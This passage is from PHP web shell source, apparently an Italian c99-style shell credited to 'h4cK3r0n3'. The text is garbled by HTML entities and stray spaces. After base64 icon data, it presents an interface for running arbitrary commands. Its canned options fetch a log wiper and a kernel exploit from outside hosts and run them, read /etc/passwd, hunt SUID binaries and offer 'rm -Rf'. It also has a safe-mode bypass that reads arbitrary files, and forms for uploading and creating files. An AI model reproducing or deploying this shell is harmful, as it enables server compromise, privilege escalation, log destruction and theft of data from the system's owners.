"AAAAACH5BAEAA AkALAAAAAAUABQAAAR0 MMlJq734ns1PnkcgjgX whcNQrIVhmFonzxwQjn ie27jg".
"+4Qgy3XgBX4Io HDlMhRvggFiGiSwWs5X yDftWplEJ+9HQCyx2c1 YEDRfwwfxtop4p53PwL KOjvvV".
"IXtdgwgdPGdYf ng1IVeJaTIAkpOUlZYf HxEAOw==",
"write"=& gt;
"R0lGODlhFAAUA LMAAAAAAP///93d3czM zLKysoaGhmZmZl9fXwQ EBP///wAAAAAAAAAAAA AAAAAA".
"AAAAACH5BAEAA AkALAAAAAAUABQAAAR0 MMlJqyzFalqEQJuGEQS CnWg6FogpkHAMF4HAJs Wh7/ze".
"EQYQLUAsGgM0W wt3bCJfQSFx10yyBlJn 8RfEMgM9X+3qHWq5iED 5yCsMCl111knDpuXfYl s+IK61".
"LXd+WWEHLUd/T oJFZQOOj5CRjiCBlZaX IBEAOw==",
"ext_asp" =>
"R0lGODdhEAAQA LMAAAAAAIAAAACAAICA AAAAgIAAgACAgMDAwIC AgP8AAAD/AP//AAAA// 8A/wD/".
"/////ywAAAAAE AAQAAAESvDISasF2N6D MNAS8Bxfl1UiOZYe9aU wgpDTq6qP/IX0Oz7AXU /1eRgI".
"D6HPhzjSeLYdY absDCWMZwhg3WWtKK4Q rMHohCAS+hABADs=&qu ot;,
"ext_mp3" =>
"R0lGODlhEAAQA CIAACH5BAEAAAYALAAA AAAQABAAggAAAP///4C AgMDAwICAAP//AAAAAA AAAANU".
"aGrS7iuKQGsYI qpp6QiZRDQWYAILQQSA 2g2o4QoASHGwvBbAN3G X1qXA+r1aBQHRZHMEDS YCz3fc".
"IGtGT8wAUwltz wWNWRV3LDnxYM1ub6Gn eDwBADs=",
"ext_avi" =>
"R0lGODlhEAAQA CIAACH5BAEAAAUALAAA AAAQABAAggAAAP///4C AgMDAwP8AAAAAAAAAAA AAAANM".
"WFrS7iuKQGsYI qpp6QiZ1FFACYijB4RM qjbY01DwWg44gAsrP5Q Fk24HuOhODJwSU/IhBY Tcjxe4".
"PYXCyg+V2i44X eRmSfYqsGhAAgA7&quo t;,
"ext_cgi" =>
"R0lGODlhEAAQA GYAACH5BAEAAEwALAAA AAAQABAAhgAAAJtqCHd 3d7iNGa+HMu7er9GiC6 +IOOu9".
"DkJAPqyFQql/N /Dlhsyyfe67Af/SFP/8 kf/9lD9ETv/PCv/cQ// eNv/XIf/ZKP/RDv/bLf /cMah6".
"LPPYRvzgR+vgx 7yVMv/lUv/mTv/fOf/M Av/mcf/NA//qif/MAP/ TFf/xp7uZVf/WIP/OBq t/Hv/S".
"Ev/hP+7OOP/WH v/wbHNfP4VzV7uPFv/p V//rXf/ycf/zdv/0eUN JWENKWsykIk9RWMytP/ /4iEpQ".
"Xv/9qfbptP/uZ 93GiNq6XWpRJ//iQv7w squEQv/jRAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAeegEyCg0wB hIeHAYqIjAEwhoyEAQQ XBJCRhQMuA5eSiooGIw afi4UM".
"BagNFBMcDR4FQ wwBAgEGSBBEFSwxNhAy Gg6WAkwCBAgvFiUiOBE gNUc7w4ICND8PKCFAOi 0JPNKD".
"AkUnGTkRNwMS3 4MBJBgdRkJLCD7qggEP KxsJKiYTBweJkjhQkk7 AhxQ9FqgLMGBGkG8KFC g8JKAi".
"RYtMAgEAOw==& quot;,
"ext_cmd" =>
"R0lGODlhEAAQA CIAACH5BAEAAAcALAAA AAAQABAAggAAAP///4C AgMDAwAAAgICAAP//AA AAAANI".
"eLrcJzDKCYe9+ AogBvlg+G2dSAQAipID 5XJDIM+0zNJFkdL3DBg 6HmxWMEAAhVlPBhgYdr YhDQCN".
"dmrYAMn1onq/Y KpjvEgAADs=",< br /> "ext_cpp" =>
"R0lGODlhEAAQA CIAACH5BAEAAAUALAAA AAAQABAAgv///wAAAAA AgICAgMDAwAAAAAAAAA AAAANC".
"WLPc9XCASScZ8 MlKicobBwRkEIkVYWqT 4FICoJ5v7c6s3cqrArw inE/349FiNoFw44rtlq hOL4Ra".
"Eq7YrLDE7a4SA Ds=",
"ext_ini" =>
"R0lGODlhEAAQA CIAACH5BAEAAAYALAAA AAAQABAAggAAAP///8D AwICAgICAAP//AAAAAA AAAANL".
"aArB3ioaNkK9M NbHs6lBKIoCoI1oUJ4N 4DCqqYBpuM6hq8P3hwo EgU3mawELBEaPFiAUAM gYy3VM".
"SnEjgPVarHEHg rB43JvszsQEADs=&quo t;,
"ext_diz" =>
"R0lGODlhEAAQA HcAACH5BAEAAJUALAAA AAAQABAAhwAAAP///15 phcfb6NLs/7Pc/+P0/3 J+l9bs".
"/52nuqjK5/n// /j///7///r//0trlsPn /8nn/8nZ5trm79nu/8/ q/9Xt/9zw/93w/+j1/9 Hr/+Dv".
"/d7v/73H0MjU3 9zu/9br/8ne8tXn+K6/ z8Xj/LjV7dDp/6K4y8b l/5O42Oz2/7HW9Ju92u /9/8T3".
"/+L//+7+/+v6/ +/6/9H4/+X6/+Xl5Pz/ /+/t7fX08vD//+3///P ///H///P7/8nq/8fp/8 Tl98zr".
"/+/z9vT4++n1/ b/k/dny/9Hv/+v4/9/0 /9fw/8/u/8vt/+/09xU vXhQtW4KTs2V1kw4oVT dYpDZX".
"pVxqhlxqiExki mKBtMPL2Ftvj2OV6aOu wpqlulyN3cnO1wAAXQA AZSM8jE5XjgAAbwAAeU RBYgAA".
"dAAAdzZEaE9ww DZYpmVviR49jG12kChF mgYuj6+1xeLn7Nzj6pm 20oeqypS212SJraCyxZ Wyz7PW".
"9c/o/87n/8DX7 MHY7q/K5LfX9arB1srl /2+fzq290U14q7fCz6e 2yXum30FjlClHc4eXr6 bI+bTK".
"4rfW+NXe6Oby/ 5SvzWSHr+br8WuKrQAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAjgACsJrDRHS ICDQ7IMXDgJx8EvZuIc bPBooZwbBwOMAfMmYwB CA2sEcNBjJCMYATLIOL iokocm".
"C1QskAClCxcGB j7EsNHoQAciSCC1mNAm jJgGGEBQoBHigKENBjh cCBAIzRoGFkwQMNKnyg gRSRAg".
"2BHpDBUeewRV0 PDHCp4BSgjw0ZGHzJQc EVD4IEHJzYkBfo4seYG lDBwgTCAAYvFE4KEBJY I4UrPF".
"CyIIK+woYjMwQ QI6Cor8mKEnxR0nAhYK jHJFQYECkqSkSa164IM 6LhLRrr3wwaBCu3kPFK CldkAA".
"Ow==", "ext_doc" =>
"R0lGODlhEAAQA CIAACH5BAEAAAUALAAA AAAQABAAggAAAP///8D AwAAA/4CAgAAAAAAAAA AAAANR".
"WErcrrCQQCslQ A2wOwdXkIFWNVBA+nme 4AZCuolnRwkwF9QgEOP AFG21A+Z4sQHO94r1eJ RTJVmq".
"MIOrrPSWWZRcz a6kaolBCOB0WoxRud0J ADs=",
"ext_exe" =>
"R0lGODlhEwAOA KIAAAAAAP///wAAvcbG xoSEhP///wAAAAAAACH 5BAEAAAUALAAAAAATAA 4AAAM7".
"WLTcTiWSQautB EQ1hP+gl21TKAQAio7S 8LxaG8x0PbOcrQf4tNu 9wa8WHNKKRl4sl+y9YB uAdEqt".
"xhIAOw==" ;,
"ext_h"=& gt;
"R0lGODlhEAAQA CIAACH5BAEAAAUALAAA AAAQABAAgv///wAAAAA AgICAgMDAwAAAAAAAAA AAAANB".
"WLPc9XCASScZ8 MlKCcARRwVkEAKCIBKm NqVrq7wpbMmbbbOnrgI 8F+q3w9GOQOMQGZyJOs pnMkKo".
"Wq/NknbbSgAAO w==",
"ext_hpp" =>
"R0lGODlhEAAQA CIAACH5BAEAAAUALAAA AAAQABAAgv///wAAAAA AgICAgMDAwAAAAAAAAA AAAANF".
"WLPc9XCASScZ8 MlKicobBwRkEAGCIAKE qaFqpbZnmk42/d43yro KmLADlPBis6LwKNAFj7 jfaWVR".
"UqUagnbLdZa+Y FcCADs=",
"ext_htaccess& quot;=>
"R0lGODlhEAAQA CIAACH5BAEAAAYALAAA AAAQABAAggAAAP8AAP8 A/wAAgIAAgP//AAAAAA AAAAM6".
"WEXW/k6RAGsjm FoYgNBbEwjDB25dGZzV CKgsR8LhSnprPQ406pa fmkDwUumIvJBoRAAAlE uDEwpJ".
"AAA7", "ext_html" ;=>
"R0lGODlhEwAQA LMAAAAAAP///2trnM3P /FBVhrPO9l6Itoyt0yh gk+Xy/WGp4sXl/i6Z4m fd/HNz".
"c////yH5BAEAA A8ALAAAAAATABAAAAST 8Ml3qq1m6nmC/4GhbFo XJEO1CANDSociGkbACH i20U3P".
"KIFGIjAQODSiB WO5NAxRRmTggDgkmM7E 6iipHZYKBVNQSBSikuk SwW4jymcupYFgIBqL/M K8KBDk".
"Bkx2BXWDfX8TD DaFDA0KBAd9fnIKHXYI BJgHBQOHcg+VCikVA5w LpYgbBKurDqysnxMOs7 S1sxIR".
"ADs=", "ext_jpg" =>
"R0lGODlhEAAQA DMAACH5BAEAAAkALAAA AAAQABAAgwAAAP///8D AwICAgICAAP8AAAD/AI AAAACA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAARc cMhJk70j6K3FuFbGbUL wJcUhjgHgAkUqEgJNEE AgxEci".
"Ci8ALsALaXCGJ K5o1AGSBsIAcABgjgCE wAMEXp0BBMLl/A6x5WZ tPfQ2g6+0j8Vx+7b4/N Zqgftd".
"FxEAOw==" ;,
"ext_js"= >
"R0lGODdhEAAQA CIAACwAAAAAEAAQAIL/ //8AAACAgIDAwMD//wC AgAAAAAAAAAADUCi63C EgxibH".
"k0AQsG200AQUJ BgAoMihj5dmIxnMJxtq q1ddE0EWOhsG16m9Moo AiSWEmTiuC4Tw2BB0L8 FgIAhs".
"a00AjYYBbc/o9 HjNniUAADs=",< br /> "ext_lnk" =>
"R0lGODlhEAAQA GYAACH5BAEAAFAALAAA AAAQABAAhgAAAABiAGP LMmXMM0y/JlfFLFS6K1 rGLWjO".
"NSmuFTWzGkC5I G3TOo/1XE7AJx2oD5X7 YoTqUYrwV3/lTHTaQXn fRmDGMYXrUjKQHwAMAG fNRHzi".
"Uww5CAAqADOZG kasLXLYQghIBBN3DVG2 NWnPRnDWRwBOAB5wFQB BAAA+AFG3NAk5BSGHEU qwMABk".
"AAAgAAAwAABfA De0GxeLCxZcDEK6IUux KFjFLE3AJ2HHMRKiCQW CAgBmABptDg+HCBZeDA qFBWDG".
"MymUFQpWBj2fJ hdvDQhOBC6XF3fdR0O6 IR2ODwAZAHPZQCSREgA SADaXHwAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAeZgFBQPAGF hocAgoI7Og8JCgsEBQI WPQCJgkCOkJKUP5eYUD 6PkZM5".
"NKCKUDMyNTg3A gg2S5eqUEpJDgcDCAxM T06hgk26vAwUFUhDtYp CuwZByBMRRMyCRwMGRk Ug0xIf".
"1lAeBiEAGRgXE g0t4SwroCYlDRAn4Smp KCoQJC/hqVAuNGzg8E9 RKBEjYBS0JShGh4UMoY ASBiUQ".
"ADs=", "ext_log" =>
"R0lGODlhEAAQA DMAACH5BAEAAAgALAAA AAAQABAAg////wAAAMD AwICAgICAAAAAgAAA// //AAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAARQ EKEwK6UyBzC475gEAlt JklLRAWzbClRhrK4Ly5 yg7/wN".
"zLUaLGBQBV2Eg FLV4xEOSSWt9gQQBpRp qxoVNaPKkFb5Eh/LmUG zF5qE3+EMIgIAOw==&q uot;,
"ext_php" =>
"R0lGODlhEAAQA AAAACH5BAEAAAEALAAA AAAQABAAgAAAAAAAAAI mDA6hy5rW0HGosffsdT pqvFlg".
"t0hkyZ3Q6qloZ 7JimomVEb+uXAAAOw== ",
"ext_pl"= >
"R0lGODlhFAAUA KL/AP/4/8DAwH9/AP/4 AL+/vwAAAAAAAAAAACH 5BAEAAAEALAAAAAAUAB QAQAMo".
"GLrc3gOAMYR4O OudreegRlBWSJ1lqK5s 64LjWF3cQMjpJpDf6// ABAA7",
"ext_swf" =>
"R0lGODlhFAAUA MQRAP+cnP9SUs4AAP+c AP/OAIQAAP9jAM5jnM6 cY86cnKXO98bexpwAAP 8xAP/O".
"nAAAAP/////// wAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAC H5BAEA".
"ABEALAAAAAAUA BQAAAV7YCSOZGme6Pms bMuqUCzP0APLzhAbuPn QAweE52g0fDKCMGgoOm 4QB4GA".
"GBgaT2gMQYgVj UfST3YoFGKBRgBqPjgY DEFxXRpDGEIA4xAQQNR 1NHoMEAACABFhIz8rCn cMAGgC".
"NysLkDOTSCsJN DJanTUqLqM2KaanqBEh ADs=",
"ext_tar" =>
"R0lGODlhEAAQA GYAACH5BAEAAEsALAAA AAAQABAAhgAAABlOAFg dAFAAAIYCUwA8ZwA8Z9 DY4JIC".
"Wv///wCIWBE2A AAyUJicqISHl4CAAPD4 /+Dg8PX6/5OXpL7H0+/ 2/aGmsTIyMtTc5P//sf L5/8XF".
"HgBYpwBUlgBWn 1BQAG8aIABQhRbfmwDc kv+H11nouELlrizipf+ V3nPA/40CUzmm/wA4Xh VDAAGD".
"UyWd/0it/1u1/ 3NzAP950P990mO5/7v1 4YzvzXLrwoXI/5vS/7D k/wBXov9syvRjwOhatQ CHV17p".
"uo0GUQBWnP++8 Lm5AP+j5QBUlACKWgA4 bjJQAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAAAAAeegAKCg4SF SxYNEw4gMgSOj48DFAc HEUIZREYoJDQzPT4/Aw cQCQkg".
"GwipqqkqAxIaF RgXDwO1trcAubq7vIeJ DiwhBcPExAyTlSEZOzo 5KTUxMCsvDKOlSRscHD weHkMd".
"HUcMr7GzBufo6 Ay87Lu+ii0fAfP09AvI ER8ZNjc4QSUmTogYscB aAiVFkChYyBCIiwXkZD 2oR3FB".
"u4tLAgEAOw==& quot;,
"ext_txt" =>
"R0lGODlhEwAQA KIAAAAAAP///8bGxoSE hP///wAAAAAAAAAAACH 5BAEAAAQALAAAAAATAB AAAANJ".
"SArE3lDJFka91 rKpA/DgJ3JBaZ6lsCkW 6qqkB4jzF8BS6544W9Z AW4+g26VWxF9wdowZmz nlEup7".
"UpPWG3Ig6Hq/X mRjuZwkAAA7",< br /> "ext_wri" =>
"R0lGODlhEAAQA DMAACH5BAEAAAgALAAA AAAQABAAg////wAAAIC AgMDAwICAAAAAgAAA// //AAAA".
"AAAAAAAAAAAAA AAAAAAAAAAAAAAAAARR UMhJkb0C6K2HuEiRcds AfKExkkDgBoVxstwAAy pduoao".
"a4SXT0c4BF0rU hFAEAQQI9dmebREW8yX C6Nx2QI7LrYbtpJZNsx gzW6nLdq49hIBADs=&q uot;,
"ext_xml" =>
"R0lGODlhEAAQA EQAACH5BAEAABAALAAA AAAQABAAhP///wAAAPH x8YaGhjNmmabK8AAAmQ AAgACA".
"gDOZADNm/zOZ/ zP//8DAwDPM/wAA/wAA AAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAA AAAAAA".
"AAAAAAAAAAAAA AAAAAVk4CCOpAid0ACs bNsMqNquAiA0AJzSdl8 HwMBOUKghEApbESBUFQ wABICx".
"OAAMxebThmA4E ocatgnYKhaJhxUrIBNr h7jyt/PZa+0hYc/n02V 4dzZufYV/PIGJboKBQk GPkEEQ".
"IQA7"
);
//For simple size- and speed-optimization.
$imgequals = array(
"ext_tar" =>array("ex t_tar","e xt_r00"," ext_ace"," ;ext_arj",&quo t;ext_bz",&quo t;ext_bz2",&qu ot;ext_tbz",&q uot;ext_tbz2", "ext_tgz" ,"ext_uu" ,"ext_xxe" ;,"ext_zip&quo t;,"ext_cab&qu ot;,"ext_gz&qu ot;,"ext_iso&q uot;,"ext_lha& quot;,"ext_lzh ","ext_pb k","ext_r ar","ext_ uuf",
"ext_php" =>array("ex t_php","e xt_php3"," ;ext_php4",&qu ot;ext_php5",& quot;ext_phtml" ;,"ext_shtml&q uot;,"ext_htm& quot,
"ext_jpg" =>array("ex t_jpg","e xt_gif"," ext_png"," ;ext_jpeg",&qu ot;ext_jfif",& quot;ext_jpe", "ext_bmp" ,"ext_ico" ;,"ext_tif&quo t;,"tiff"< img src='images/wink.gi f' />,
"ext_html" ;=>array("e xt_html"," ;ext_htm",
"ext_avi" =>array("ex t_avi","e xt_mov"," ext_mvi"," ;ext_mpg",&quo t;ext_mpeg",&q uot;ext_wmv",& quot;ext_rm",
"ext_lnk" =>array("ex t_lnk","e xt_url",
"ext_ini" =>array("ex t_ini","e xt_css"," ext_inf",
"ext_doc" =>array("ex t_doc","e xt_dot",
"ext_js"= >array("ext _js","ext _vbs",
"ext_cmd" =>array("ex t_cmd","e xt_bat"," ext_pif",
"ext_wri" =>array("ex t_wri","e xt_rtf",
"ext_swf" =>array("ex t_swf","e xt_fla",
"ext_mp3" =>array("ex t_mp3","e xt_au","e xt_midi"," ;ext_mid",
"ext_htaccess& quot;=>array(&qu ot;ext_htaccess&quo t;,"ext_htpass wd","ext_ ht","ext_ hta","ext _so"
);
if (!$getall)
{
header("Tipo-C ontenuto: image/gif";
header("Contro llo-Cache: public";
header("Scade: ".date("r ",mktime(0,0,0 ,1,1,2030)));
header("Contro llo-Cache: max-age=".(60* 60*24*7));
header("Ultima -Modifica: ".date("r ",filemtime(__ FILE__)));
foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
if (empty($images[$img ])) {$img = "small_unk&quo t;;}
if (in_array($img,$ext _tar)) {$img = "ext_tar" ;}
echo base64_decode($imag es[$img]);
}
else
{
foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d] )) {echo("Attenzi one! Rimuovi \$images[".$d. "]<br>&q uot;}}}}
natsort($images); $k = array_keys($images) ;
echo "<center> ;";
foreach ($k as $u) {echo $u.":<img src=\"".$ surl."act=img& amp;img=".$u.& quot;\" border=\"1\&qu ot;><br>&q uot;;}
echo "</center&g t;";
}
exit;
}
if ($act == "about" {echo "<center> ;<b>Credits:& lt;br>h4cK3r0n3& lt;/br><br> ;www.eurohackers.it </br><br&g t;Thnx to Friul_Hack,my bro and my friends</br>& lt;/b>";} ?>
</td></tr& gt;</table>&l t;a bookmark="mini panel">< br><TABLE style="BORDER- COLLAPSE: collapse" cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 height="1" ; width="100%&qu ot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1>
<tr><td width="100%&qu ot; height="1" ; valign="top&qu ot; colspan="2&quo t;><p align="center& quot;><b>- = <a href="<?php echo $surl; ?>act=cmd&d= <?php echo urlencode($d); ?>">< b>Esegui comando</b>&l t;/a> =-</b></p& gt;</td></ tr>
<tr><td width="50%&quo t; height="1" ; valign="top&qu ot;><center&g t;<b>Invio: </b><form action="<?p hp echo $surl; ?>">< input type=hidden name=act value="cmd&quo t;><input type=hidden name="d" value="<?ph p echo $dispd; ?>">< input type="text&quo t; name="cmd" ; size="50" value="<?ph p echo htmlspecialchars($c md); ?>">< input type=hidden name="cmd_txt& quot; value="1" >&nbsp;<i nput type=submit name=submit value="Esegui& quot;></form& gt;</td><t d width="50%&quo t; height="1" ; valign="top&qu ot;><center&g t;<b>Select: </b><form action="<?p hp echo $surl; ?>act=cmd" method="POST&q uot;><input type=hidden name=act value="cmd&quo t;><input type=hidden name="d" value="<?ph p echo $dispd; ?>">< select name="cmd" ;><?php foreach ($cmdaliases as $als) {echo "<option value=\"" .htmlspecialchars($ als[1])."\&quo t;>".htmlsp ecialchars($als[0]) ."</option& gt;";} ?></select> ;<input type=hidden name="cmd_txt& quot; value="1" >&nbsp;<i nput type=submit name=submit value="Esegui& quot;></form& gt;</td></ tr></TABLE> ;
<br>
<TABLE style="BORDER- COLLAPSE: collapse" cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 height="116&qu ot; width="100%&qu ot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1>
<tr><td height="1" ; valign="top&qu ot; colspan="2&quo t;><p align="center& quot;><b>- = <a href="<?php echo $surl; ?>act=cmd&d= <?php echo urlencode($d); ?>">< b>Gestione del Kernel</b>< ;/a> =-</b></p& gt;</td></ tr>
<tr>
<td width="50%&quo t; height="83&quo t; valign="top&qu ot;><center&g t;
<div align="center& quot;>Comandi utili
</div>
<form action="<?p hp echo $surl; ?>">
<div align="center& quot;>
<input type=hidden name=act value="cmd&quo t;>
<input type=hidden name="d" value="<?ph p echo $dispd; ?>">
<SELECT NAME="cmd" ;>
<OPTION VALUE="uname -a">Version e del kernel
<OPTION VALUE="w" >Utenti loggati
<OPTION VALUE="lastlog ">Ultima connessione
<OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"> Suid bins
<OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep =-">UTENTI SENZA PASSWORD!
<OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null"> Scrivi in /etc/?
<OPTION VALUE="which wget curl w3m lynx">Scari cato?
<OPTION VALUE="cat /proc/version /proc/cpuinfo" >CPUINFO
<OPTION VALUE="netstat -atup | grep IST">Aprire le porte
<OPTION VALUE="locate gcc">gcc installato?
<OPTION VALUE="rm -Rf">Format o box (PERICOLOSO)
<OPTION VALUE="wget http://www.packetst ormsecurity.org/UNI X/penetration/log-w ipers/zap2.c"& gt;WIPELOGS PT1 (If wget installed)
<OPTION VALUE="gcc zap2.c -o zap2">WIPEL OGS PT2
<OPTION VALUE="./zap2& quot;>WIPELOGS PT3
<OPTION VALUE="wget http://ftp.powernet .com.tr/supermail/d ebug/k3">At tecca il Kernel (Krad.c) PT1 (If wget installed)
<OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)
<OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)
<OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)
<OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)
<OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)
</SELECT>
<input type=hidden name="cmd_txt& quot; value="1" >
&nbsp;
<input type=submit name=submit value="Esegui& quot;>
<br>
Attenzione. Il Kernel puo' essere avvisato tramite livelli piu' elevati </div>
</form>
</td>
<td width="50%&quo t; height="83&quo t; valign="top&qu ot;><center&g t;
<center>Kerne l Info: <form name="form1&qu ot; method="post&q uot; action="http:/ /google.com/search& quot;>
<input name="q" type="text&quo t; id="q" value="<?ph p echo wordwrap(php_uname( )); ?>">
<input type="hidden&q uot; name="client&q uot; value="firefox -a">
<input type="hidden&q uot; name="rls" ; value="org.moz illa:en-US:official ">
<input type="hidden&q uot; name="hl" value="en" ;>
<input type="hidden&q uot; name="hs" value="b7p&quo t;>
<input type=submit name="btnG&quo t; VALUE="Cerca&q uot;>
</form></c enter>
</td>
</tr></TAB LE><br>
<TABLE style="BORDER- COLLAPSE: collapse" cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 height="116&qu ot; width="100%&qu ot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1>
<tr><td height="1" ; valign="top&qu ot; colspan="2&quo t;><p align="center& quot;><b>- = <a href="<?php echo $surl; ?>act=cmd&d= <?php echo urlencode($d); ?>">< b>Gestione delle cartelle e file </b></a> ; =-</b></p& gt;</td></ tr>
<tr>
<td width="50%&quo t; height="83&quo t; valign="top&qu ot;><center&g t;
<div align="center& quot;>Php Safe-Mode Bypass (Leggi i file)
</div><br& gt;
<form action="<?p hp echo $surl; ?>">
<div align="center& quot;>
File: <input type="text&quo t; name="file&quo t; method="get&qu ot;> <input type="submit&q uot; value="Leggi i File"><b r><br> eg: /etc/passwd<br&g t;






<?

function rsg_read()
{
$test="" ;
$temp=tempnam($tes t, "cx";
$file=$_GET['file' ];
$get=htmlspecialch ars($file);
echo "<br>Cer cando di ottenere i File <font color=#000099>&l t;b>$get</b&g t;</font>< br>";
if(copy("comp ress.zlib://". $file, $temp)){
$fichier = fopen($temp, "r";
$action = fread($fichier, filesize($temp)); fclose($fichier);< br /> $source=htmlspecia lchars($action);
echo "<div class=\"shell\ "><b> Start $get</b><b r><br>< font color=\"white\ ">$source&l t;/font><br&g t;<b><br&g t;Fin <font color=#000099>$g et</font>< /b>";
unlink($temp);
} else {
die("<FONT COLOR=\"RED\&q uot;><CENTER& gt;Scusa... Il file
<B>".ht mlspecialchars($fil e)."</B> non esiste o non hai l'accesso.</CENT ER></FONT> ";
}
echo "</div>& quot;;
}

if(isset($_GET['fi le']))
{
rsg_read();
}

?>

<?

function rsg_glob()
{
$chemin=$_GET['dire ctory'];
$files = glob("$chemin* ";
echo "Provare la lista delle cartelle <font color=#000099>&l t;b>$chemin</ b></font>& lt;br>";
foreach ($files as $filename) {
echo "<pre>&q uot;;
echo "$filename\n&q uot;;
echo "</pre>& quot;;
}
}

if(isset($_GET['dir ectory']))
{
rsg_glob();
}

?>

<br>
</div>
</form>
</td>
<td width="50%&quo t; height="83&quo t; valign="top&qu ot;><center&g t;
<center>Php Safe-Mode Bypass (Lista cartelle): <form action="<?p hp echo $surl; ?>">
<div align="center& quot;><br>
Dir: <input type="text&quo t; name="director y" method="get&qu ot;> <input type="submit&q uot; value="Lista Cartelle">& lt;br><br> eg: /etc/<br>

</form></c enter>
</td>
</tr></TAB LE><br>
<TABLE style="BORDER- COLLAPSE: collapse" cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 height="1" ; width="100%&qu ot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1>
<tr>
<td width="50%&quo t; height="1" ; valign="top&qu ot;><center&g t;<b>-= <a href="<?php echo $surl; ?>act=search& ;d=<?php echo urlencode($d); ?>">< b>Cerca</b> ;</a> =-</b><for m method="POST&q uot;><input type=hidden name=act value="search& quot;><input type=hidden name="d" value="<?ph p echo $dispd; ?>">< input type="text&quo t; name="search_n ame" size="29" value="(.*)&qu ot;>&nbsp;&l t;input type="checkbox " name="search_n ame_regexp" value="1" checked> - regexp&nbsp;< ;input type=submit name=submit value="Cerca&q uot;></form&g t;</center>&l t;/p></td>
<td width="50%&quo t; height="1" ; valign="top&qu ot;><center&g t;<b>-= <a href="<?php echo $surl; ?>act=upload& ;d=<?php echo $ud; ?>">< b>Carica file</b></ a> =-</b><for m method="POST&q uot; ENCTYPE="multi part/form-data" ;><input type=hidden name=act value="upload& quot;><input type="file&quo t; name="uploadfi le"><inp ut type=hidden name="miniform " value="1" >&nbsp;<i nput type=submit name=submit value="Carica& quot;><br> <?php echo $wdt; ?></form>& lt;/center></ td>
</tr>
</table>
<br><TABLE style="BORDER- COLLAPSE: collapse" cellSpacing=0 borderColorDark=#66 6666 cellPadding=5 height="1" ; width="100%&qu ot; bgColor=#333333 borderColorLight=#c 0c0c0 border=1><tr& gt;<td width="50%&quo t; height="1" ; valign="top&qu ot;><center&g t;<b>-= Crea cartella =-</b><for m action="<?p hp echo $surl; ?>">< input type=hidden name=act value="mkdir&q uot;><input type=hidden name="d" value="<?ph p echo $dispd; ?>">< input type="text&quo t; name="mkdir&qu ot; size="50" value="<?ph p echo $dispd; ?>">& ;nbsp;<input type=submit value="Crea&qu ot;><br>&l t;?php echo $wdt; ?></form>& lt;/center></ td><td width="50%&quo t; height="1" ; valign="top&qu ot;><center&g t;<b>-= Crea File =-</b><for m method="POST&q uot;><input type=hidden name=act value="mkfile& quot;><input type=hidden name="d" value="<?ph p echo $dispd; ?>">< input type="text&quo t; name="mkfile&q uot; size="50" value="<?ph p echo $dispd; ?>">< input type=hidden name="ft" value="edit&qu ot;>&nbsp;&l t;input type=submit value="Crea&qu ot;><br>&l t;?php echo $wdt; ?></form>& lt;/center></ td></tr>&l t;/table>
